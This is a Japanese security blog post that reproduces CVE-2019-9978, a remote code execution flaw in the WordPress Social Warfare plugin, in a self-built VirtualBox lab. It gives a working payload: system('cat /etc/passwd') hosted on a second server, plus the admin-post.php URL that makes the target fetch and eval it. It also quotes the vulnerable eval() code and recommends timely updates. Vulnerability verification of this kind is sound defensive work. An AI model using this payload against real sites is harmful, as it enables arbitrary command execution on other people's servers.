このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。
あるもりすぶろぐの内容は個人の意見です。
CVE-2019-9978の検証
今回は少し古めですがCVE-2019-9978の検証をしていきます。
検証には自身で管理する環境を使用し、自己責任でお願いします
CVE-2019-9978はSocial Warfareという記事にSNSへ共有するためのボタンを追加するWordPressのプラグインでRCEが可能になる脆弱性になります。 これを利用することで攻撃者は任意のコマンドをWordPressをホストしているサーバーで実行することができるようになります。
脆弱性情報 : NVD 当該プラグイン : Social Warfare
影響を受けるバージョン : 3.5.2以下
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
UbuntuServer | 20.04 |
WordPress | 5.8 |
Social Warfare | 3.5.2 |
まずはVirtual BoxでUbuntu Serverを2つ用意します。 この時、設定からネットワークのアダプター2のネットワークアダプターを有効化にチェックを入れ、割り当てをホストオンリーアダプターに設定します。
環境構築
WordPress側の構築
- Apache2のインストール
$ sudo apt install -y apache2 $ sudo cp /etc/apache2/apache2.conf /etc/apache2/apache2.conf.original $ sudo vim /etc/apache2/apache2.conf
/etc/apache2/apache2.conf
<Directory /var/www/html/wordpress> AllowOverride All </Directory>
- Apache2を再起動
$ sudo a2enmod rewrite $ sudo systemctl restart apache2
- mysqlのインストール
$ sudo apt install -y mysql-server $ sudo mysql_secure_installation
- データベースとユーザーの作成
$ mysql -u root -p mysql> CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci; mysql> CREATE USER wp@localhost identified with mysql_native_password by 'password'; mysql> grant all on *.* to wp@localhost;
- phpのインストール
$ sudo apt install -y php libapache2-mod-php php-mysql
- WordPressのインストール
インストール作業は/tmp
で行います。
$ wget https://ja.wordpress.org/wordpress-5.8-ja.tar.gz $ tar -zxvf wordpress-5.7.2-ja.tar.gz $ mv wordpress /var/www/html/wordpress
- プラグインのインストール
$ wget https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip $ unzip social-warfare.3.5.2.zip $ mv social-warfare /var/www/html/wordpress/wp-content/plugins
Apache2側の構築
- Apache2のインストール
$ sudo apt install -y apache2
- 対象のサーバーで実行するコマンドを用意する
$ vim /var/www/html/payload.txt
<pre>system('cat /etc/passwd')</pre>
- system()の引数に任意の実行したいコマンドを入れる
検証
http://ターゲットのwordpressサイト/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://用意したサーバーのIPアドレス/payload.txt
にアクセスする。
実行した結果
脆弱性の原因
この脆弱性はユーザーから受け取ったデータを何の検査もせずにeval()に渡したことが原因です。
/** * Migrates options from $_GET['swp_url'] to the current site. * * @since 3.4.2 */ if ( true == SWP_Utility::debug('load_options') ) { if (!is_admin()) { wp_die('You do not have authorization to view this page.'); } $options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
$options = str_replace('<pre>', '', $options); $cutoff = strpos($options, '</pre>'); $options = substr($options, 0, $cutoff); $array = 'return ' . $options . ';'; try { $fetched_options = eval( $array ); }
phpのeval()は渡された文字列をPHPコードとして実行する関数なので、対策をしないと任意のコードを実行することができるようになってしまいます。
このような攻撃から守るために、プラグインのアップデート情報に注意し、アップデートがある場合は検証などを行った上で、速やかに更新するようにしましょう。